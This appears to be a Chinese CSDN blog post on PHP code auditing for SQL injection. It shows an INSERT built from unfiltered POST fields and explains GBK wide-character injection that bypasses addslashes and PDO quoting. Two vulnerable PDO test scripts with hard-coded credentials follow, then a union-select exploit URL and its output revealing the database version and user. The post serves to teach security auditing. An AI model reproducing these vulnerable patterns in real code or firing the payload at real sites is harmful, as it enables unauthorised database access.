关闭

php审计基础一:sql注入

679人阅读 评论(0) 收藏 举报
分类:

【1】普通sql注入:

$sql = "INSERT INTO books(bookname, publisher, author, price, ptime,pic,detail) VALUES('{$_POST["bookname"]}', '{$_POST["publisher"]}', '{$_POST["author"]}', '{$_POST["price"]}', '".time()."', '{$up[1]}', '{$_POST["detail"]}')";

$result = mysql_query($sql);

if($result && mysql_affected_rows() > 0 ) {
	echo "插入一条数据成功!";
}else {
	echo "数据录入失败!";
}

直接将传入的参数不加过滤进入到数据库中


2】宽字符注入:

条件

mysql建表时,将表的字符集设置成gbk时(defaultcharset=gbk)

且当在php连接数据库时将数据库的字符集设置成(mysql_query("setcharacter_set_client=gbk");


(1)可利用%df%27绕过addslashes()这个函数

(2)可绕过pdoquote()这个函数

3pdo的也被绕过:

第一种写法

<?php
header("Content-type:text/html;charset=utf-8");  
try {
    $pdo = new PDO("mysql:host=localhost;dbname=test","root","niexinming132"); 
} catch (Exception $ex) {
    echo "连接失败";
}
echo "连接成功";

$pdo->query("set character_set_client=gbk");
$id=$_GET["id"];
$query="select * from myuser where id=?";
echo $query;
echo "<br>";
$stmt=$pdo->prepare($query);

$pdostat=$stmt->execute(array($id));
foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row)
{
    foreach ($row as $data)
    {
        echo $data."        ";
    }
    echo "<br>";
}

第二种写法:

<?php
header("Content-type:text/html;charset=utf-8");  
try {
    $pdo = new PDO("mysql:host=localhost;dbname=test","root","niexinming132"); 
} catch (Exception $ex) {
    echo "连接失败";
}
echo "连接成功";

$pdo->query("set character_set_client=gbk");
$id=$_GET["id"];
$query="select * from myuser where id=:id";
echo $query;
echo "<br>";
$stmt=$pdo->prepare($query);
$pdostat=$stmt->execute(array("id"=>$id));
foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row)
{
    foreach ($row as $data)
    {
        echo $data."        ";
    }
    echo "<br>";
    echo "执行完毕";
    var_dump($pdo->errorInfo());
}

利用:

http://localhost:8000/gbksql2.php?id=-1%df%27%20union%20select%201,version(),user(),4%20%23

显示:

连接成功select* from myuser where id=:id
1 5.5.50-0ubuntu0.14.04.1-logroot@localhost 4
执行完毕


0
0
查看评论
发表评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场

SQL注入攻击原理以及基本方法

一、SQL注入的概述 定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非...
  • qq_34858648
  • qq_34858648
  • 2016-10-07 16:09
  • 22114

数据库基础与SQL语言基础知识整理

第十四天 PS:windows+R打开搜索框 操作数据库,一定要先备份     最重要的关键词select 一.数据库简介 1. DBMS(DataBaseManagement System,数据库管...
  • CSDN___LYY
  • CSDN___LYY
  • 2016-09-16 12:48
  • 3577

15个初学者必看的基础SQL查询语句

数据库应用基础 -------------------------------- Start ----------------------- ^_^前言: 如果基本的语句你会的话,前三个基本的数...
  • qq_18353611
  • qq_18353611
  • 2016-11-14 16:09
  • 1387

php代码审计基础补习第二课

  • 2016-05-25 18:22
  • 7.33MB
  • 下载

php代码审计基础补习

  • 2016-05-25 18:20
  • 8.68MB
  • 下载

php审计基础四:变量覆盖

(1)extract()函数: extract() 函数从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变...
  • niexinming
  • niexinming
  • 2016-09-23 14:34
  • 754

php审计基础二:命令执行

system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open(),`` 这些命令执行的例子很平常就不说了 ...
  • niexinming
  • niexinming
  • 2016-08-30 19:42
  • 591

关于espcms的sql注入漏洞代码审计复现

一个关于espcms注入漏洞的代码审计过程复现
  • zhalang8324
  • zhalang8324
  • 2017-05-25 11:01
  • 480

php审计基础三:php封装协议小总结

【1】php://stdin 主要用于php cli 的输入 应用: 【2】php://stdout 主要用于php cli的输出 应用: <?php $fh = fopen('php...
  • niexinming
  • niexinming
  • 2016-09-21 12:49
  • 1081

代码审计| phpcms 9.6.2 任意文件下载与前台SQL注入

0×00 背景 最近做代码审计的时候发现phpcms 有更新,现在漏洞详情基本不公开,想要知道漏洞的利用方法只能自己审计了,通常可进行新旧版本的代码比较了,来定位旧版本的漏洞位置,便下载了phpcm...
  • qq_27446553
  • qq_27446553
  • 2017-12-26 17:13
  • 121
    个人资料
    • 访问:165937次
    • 积分:2709
    • 等级:
    • 排名:第15399名
    • 原创:108篇
    • 转载:7篇
    • 译文:0篇
    • 评论:49条
    文章分类